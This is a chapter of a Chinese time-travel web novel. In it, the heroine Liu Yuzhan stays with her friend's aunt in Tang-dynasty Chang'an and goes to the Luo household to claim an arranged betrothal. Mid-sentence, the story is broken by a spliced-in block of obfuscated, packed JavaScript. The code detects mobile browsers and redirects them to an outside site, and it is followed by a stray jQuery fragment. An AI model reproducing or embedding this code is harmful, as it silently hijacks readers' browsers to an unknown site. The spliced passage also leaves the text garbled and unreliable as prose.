柳玉瞻双手撑着膝盖,扶着下巴,眸中没有光彩。
她拼命想融入这里,融入这个朝代,可好像怎么都融不进去,她找不到任何支点,瞻娘的父母她不熟悉,论朋友只有田四娘一个,她也没有丈夫……她没有任何通过情感联系的支点。
她就不像个古代人。
“没有系统,更没有金手指,我这个穿越者怎么这么倒霉啊,难道穿越也有歧视吗?”
柳玉瞻伸了个懒腰,打算起身。
“能在长安有房子的都不是一般人,我还是走吧,一直坐在人家门前是什么道理。”
她拍拍屁股上的灰,抬起头,四顾茫然,她也不知道要去哪。
要不然就饿死在这里,这样是不是就能够回家了?无人能解她的疑问。
她向前踱步,身后却传出一道声音:“这位姑娘可是姓柳?”
柳玉瞻转头,只见一个门倌顺着阶梯走下来,像是在叫她。
“我是,是不是四娘有什么话要带给我?”
那门倌一笑:“是我家夫人唤我来的,请您进去喝杯茶。”
柳玉瞻大喜,擦擦眼角的泪痕,刚说她没遇到几个好心人,这不,好心人搁这呢!
挺好,偌大的长安,还有一户人家,愿意请她进门喝一杯茶。
她低头看着自己的满身脏污,刚刚的欣喜瞬间烟消云散,她问:“我已经几日没有沐浴更衣了,您看这……”
那门倌愣了一下,随后道:“若您不介意,可以到府上沐浴,更衣。”
幸福来的太突然,柳玉瞻有些恍惚。
她本来的意思是她浑身脏兮兮的,怕弄脏了贵府,不便进入,没想到,对方以为她在提要求,柳玉瞻差点原地跳起来。
“可以!太可以了!”
柳玉瞻觉得自己想得太悲观了,毕竟这里可是长安诶,四娘的姑母再不济,也是瘦死的骆驼比马大,也许对他们这样的人家来说,即便与田四娘不亲,沐浴更衣也不过小事而已。
柳玉瞻跟着门倌进来,她一直低着头,不敢多瞧多看,穿过长廊,门倌领着她来到一间正堂两侧的偏房内,田四娘在这里等她。
毕竟她个孤女,不算贵客,不入厅。
“四娘,你姑母家好大啊。”
她不抬头看,只是照着刚刚走过的路程看,都知道这户人家的宅子不小。
田四娘才进去不一会的功夫,她就已换了一身衣裳,整个人看起来容光焕发,比起那几日的舟车劳顿,活像换了个人一样。
“玉瞻,快过来吃点东西。”
柳玉瞻的肚子已经开始咕咕叫了,这几天她都没怎么吃饱,人都瘦了一圈,看到了案上的点心,立刻狼吞虎咽吃起来。
噎住了,就拿起一旁的茶杯喝水顺一下,她实在渴极了。
吃饱喝足之后,柳玉瞻才像个人样,她觉得自己的魂终于回来了。
她向田四娘要了一件旧衣裳,提着一小桶的水,拿了一块有补丁的帕子,被引去了一间很小的浴房,不,都不算是浴房,就是个杂物间,中间放了一个很小的木桶而已。
不过柳玉瞻没权利挑三拣四,人家能准她进来沐浴已经很令她感激了,她没那么娇气。
这户人家每日清晨会有人去长安的公共水井里打水,所以水资源有限,她必得省着点用,好在现在是白天,不算特别冷,用常温的水即可。
她确认门关严实了,然后开始宽衣解带,双脚踏进那个小木桶里,这木桶的口径令人尴尬,只站立的话显得有些大,却又坐不下去,柳玉瞻不断试了好几个姿势,发现还是一开始的站着最舒服,硬要坐下去的话,一定是连人带木桶一起翻。
无奈的她只好开始用帕子往自己身上潦水,这就算洗澡了。
长安作为都城,已经是经济最为繁盛之地了,却还是不比现代方便。
入夜,柳玉瞻很幸运地在积善堂留宿,田四娘才来,有些睡不习惯,故而叫她陪同入眠,柳玉瞻求之不得,她们两个“孤女”,就这样互相取暖。
夜深人静,两个女孩一并躺于床上,困意全无。
柳玉瞻用余光看了看田四娘,发现她也没睡,便开始与她说话:“四娘,我今日一直没见到你姑母,她对你怎么样呀,是亲是疏?”
“就那样吧,我与姑母多日未见了,也算不上多亲,不过我看她对我有些愧疚,想来是觉得对我缺少照拂吧,我靠着她的愧疚心,至少能在长安过一段安生日子。”
“这样啊,我一开始有些不敢进,毕竟我不知道你姑母对你如何,不过幸好,对于他们这样的大户人家啊来说,留我一晚小事一桩。”
“对了,玉瞻,我还没问过你呢,你来长安要做什么来找谁?”她如今尘埃落定,这才想到要问柳玉瞻。
“我呀,我来长安的理由可比你荒谬多了,我父母给我订了娃娃亲,我算是来长安找我的未婚郎君的。”
的确很荒谬,田四娘也这么觉得。
“未婚?还郎君?这太离谱了,对方真的能答应吗,玉瞻,你未免太天真了。”
柳玉瞻坐起来,不断叹气。
“连你都觉得不可思议,我父母怎么会觉得我真的能办成呢,四娘,我其实知道,我父母是不要我了,他们任由我在长安自生自灭。”
瞻娘的阿耶阿娘不要她了。
“所以我没有退路了,为了友人的遗愿,我不能回头,既然所有人都觉得我不会留在长安,那我就偏要活出个人样来,不止给他们看,更是给我自己看。”
所以她为了能留在长安,需要做一些准备,她打算借此机会打听一下骆家。
虽见不到四娘的姑母,但这府上上上下下不少人,说不定就有认识骆家的,顺便打听一下住址,多些了解,有备无患。
……
翌日。
城南落花巷,骆府。柳玉瞻一早便来了这里。
四娘姑母的住处离这里正经很远呢,柳玉瞻大概走了一个小时才到,鞋破了,脚也酸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362627|183761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
昨夜她问了问积善堂家的杂户,那杂户经常外出采买,称一句眼观六路耳听八方都不为过,见柳玉瞻问起落花巷里的骆家,他说了许多。
骆家家主名骆程,膝下三子两女,次子骆歆早年因斗争被贬蜀地,骆程即将撒手人寰时,觉得愧对于他,便在前几年将他调回长安,给他一个司农寺少丞的清闲官职,骆歆妻卢夫人,是个面冷心热的妇人,做事讲究体面,二人育有一子一女。
那杂户又说了点别的,据传,骆大人可是初唐四杰之一骆观光(骆宾王)的后人,他说的有鼻子有眼的,柳玉瞻对身处的朝代有了实感。
她当即发问:“骆宾王有儿子?”
大约并不是直系亲属,只不过骆宾王名气大,故而如此说。
柳玉瞻正在心里回忆着骆家的一切,不知不觉来到了骆府门前。
门前不远处停着两辆马车,马车旁稀稀两两有几个人。
柳玉瞻深呼一口气,反复鼓起勇气在心中默念:丑媳妇总是要见公婆的丑媳妇总是要见公婆的。
然后,她一步一步走过去,询问道:“请问是骆大人的府邸否?”
柳玉瞻打量着这两个人,女的将发髻梳于脑后,嘴旁有一颗大黑痣,看起来有些年岁了,像是……媒婆;男的头戴方巾,身穿圆领袍,脚踏乌靴,脸上留着胡须,只靠穿着,无法判断出他的身份来。
那妇人正要赶柳玉瞻走,旁边的男子拉住她,问柳玉瞻:“姑娘何人,为何来此?”
柳玉瞻看着这两个人像是骆家人,便快速和盘托出:“我姓柳,名瞻娘,泸州人士,不瞒二位,我早年与骆家的公子订有婚约,此次我来便是来履行婚约,我连户籍和婚书都带来了……”
她好像生怕对方会即刻赶她走一样,作势就要翻开包裹拿户籍和婚书。
她将户籍和婚书依次摊开,以便这二人观察仔细。
其实柳玉瞻自己都不相信骆家会即刻同意,但她必须这么说,这荒诞的婚约是她此时能留在长安的唯一名目,有了婚约作为纽带,才能继续与骆家谈其他,婚约不是婚约,是敲门砖,柳玉瞻也压根没准备即刻嫁人。
那二人看了看,便道:“柳姑娘,你的来意我二人以知晓,待我二人商讨片刻。”
那男子拉着那个像媒婆一样的女子往后走了几步,在细细密谋着什么,大约几分钟,这两人大约是商量好了,再同她道:“你且在此稍等片刻,我二人这就去告知卢夫人。”
“好呀好呀,那我在这里等你们!”
柳玉瞻喜出望外,没想到进展这么顺利,这两个人如此好说话,稍等就稍等,她愿意在这里等到夜幕降临。
柳玉瞻看着那两人被前来的门倌接应进去,眉头一皱,心里泛起了嘀咕。
“他们真的是骆家人吗?回自己家,也需要门倌引路吗?”
大约是久不回家,所以才会如此热情?
柳玉瞻想不明白,一屁股坐在了门口不远处的石墩子上。